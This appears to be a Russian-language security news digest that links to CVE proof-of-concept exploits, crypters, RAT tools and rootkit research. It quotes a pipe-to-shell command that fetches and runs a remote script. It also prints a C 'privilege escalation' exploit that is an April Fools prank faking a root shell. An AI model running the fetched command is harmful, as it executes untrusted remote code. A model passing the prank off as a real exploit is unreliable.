IngressNightmare - Куберноиды напряглись
*
RCE в Ingress NGINX
*
READ and WATCH

#k8s

Telegram Mac RCE - 0Day
*
господам из opzero.ru подготовить счетные машинки
*
ШУМ

CVE-2025-1974 Ingress Nightmare (k8s)
*
Вот и POC c detect подвезли
*
POC all in one

#kuber #nginx

BinCrypter
*
Linux Binary Runtime Crypter - in BASH!
*
Link

CVE-2025-30208
*
Vitejs File read vulnerability
*
POC

Search for All Leaked Keys & Secrets
*
Сила Regex

🫥
СМСните джону коннору, пора отправлять Т-777 за сэмом альтманом

CVE-2024-25600
*
WordPress
*
Bricks Builder <= 1.9.6
*
RCE exploit

Facebook SMS-based Two-Factor Authentication Bypass
*
WriteUP
*
August 3, 2024: Fixed

CVE-20250401 - 7350pipe - Linux Privilege Escalation
(all versions)
календарь чекаем

“. <(curl -SsfL https://thc.org/7350pipe)”

Что он хочет этим сказать 🧐

Фанатам hashcat
*
Phatcrack - тот же кот в сапогах только с веб мордой и в Docker

Link

CVE-20250401 - 7350pipe - Linux Privilege Escalation 😆
*
Мисконфиг SUID на /usr/bin/passwd (зы: если ASLR и NX включены, скорее всего, просто так не запустится)
РАУНД 2

gcc -z execstack -fno-stack-protector exploit.c -o exploit
chmod +x exploit
./exploit

*

#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>

unsigned char shellcode[] = "\xb8\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x48\x8d\x35\x81\x00\x00\x00\xba\x2d\x00\x00\x00\x0f\x05\xb8\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x48\x8d\x35\x96\x00\x00\x00\xba\x43\x00\x00\x00\x0f\x05\xb8\x69\x00\x00\x00\x48\x31\xff\x0f\x05\xb8\x6a\x00\x00\x00\x48\x31\xff\x0f\x05\xb8\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x48\x8d\x35\xad\x00\x00\x00\xba\x2c\x00\x00\x00\x0f\x05\xb8\x3b\x00\x00\x00\x48\x8d\x3d\xc6\x00\x00\x00\x48\x31\xf6\x48\x31\xd2\x0f\x05\xb8\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x48\x8d\x35\xb5\x00\x00\x00\xba\x3c\x00\x00\x00\x0f\x05\xb8\x3c\x00\x00\x00\x48\x31\xff\x0f\x05\xf0\x9f\x94\xa5\x20\x49\x4e\x49\x54\x49\x41\x54\x49\x4e\x47\x20\x50\x52\x49\x56\x49\x4c\x45\x47\x45\x20\x45\x53\x43\x41\x4c\x41\x54\x49\x4f\x4e\x2e\x2e\x2e\x20\xf0\x9f\x94\xa5\x0a\x5b\x2b\x5d\x20\x46\x6f\x75\x6e\x64\x20\x53\x55\x49\x44\x20\x62\x69\x6e\x61\x72\x79\x3a\x20\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x61\x73\x73\x77\x64\x20\x28\x72\x6f\x6f\x74\x20\x70\x72\x69\x76\x69\x6c\x65\x67\x65\x73\x20\x64\x65\x74\x65\x63\x74\x65\x64\x21\x29\x0a\x5b\x2b\x5d\x20\x45\x78\x70\x6c\x6f\x69\x74\x20\x73\x75\x63\x63\x65\x73\x73\x66\x75\x6c\x21\x20\x52\x6f\x6f\x74\x20\x73\x68\x65\x6c\x6c\x20\x73\x70\x61\x77\x6e\x65\x64\x21\x0a\x2f\x62\x69\x6e\x2f\x73\x68\x00\xf0\x9f\x98\x82\x20\x41\x50\x52\x49\x4c\x20\x46\x4f\x4f\x4c\x53\x21\x20\x59\x6f\x75\x20\x67\x6f\x74\x20\x70\x72\x61\x6e\x6b\x65\x64\x20\xe2\x80\x94\x20\x6e\x6f\x20\x72\x6f\x6f\x74\x20\x66\x6f\x72\x20\x79\x6f\x75\x21\x20\xf0\x9f\x98\x82\x0a";

int main() {
    void *exec = mmap(NULL, sizeof(shellcode), 
                      PROT_READ | PROT_WRITE | PROT_EXEC, 
                      MAP_ANON | MAP_PRIVATE, -1, 0);
    if (exec == MAP_FAILED) return 1;
    memcpy(exec, shellcode, sizeof(shellcode));
    ((void(*)())exec)();
    return 0;
}

Three bypasses (не считая собаки) of Ubuntu's unprivileged user namespace restrictions
*
read TXT

CVE-2025-2005 WordPress
*
Front-End Users Plugin
Version Affected: <= 3.2.32
*
2 POC Exploit

Scorpio
*
FUD crypters and RAT tools
*
Link
*
Подробные инструкции для бесплатного блэкушного софта , это конечно та еще мышеловка

VectorKernel: PoCs for Kernelmode rootkit techniques research
*
read.MD

#windows #rootkit

CVE-2025-2945 pgAdmin
*
WriteUP + Video + RCE POC

Ну это просто атас ))))
CVE-2025-3155 - утечка ключей в ubuntu
*
Attack scenario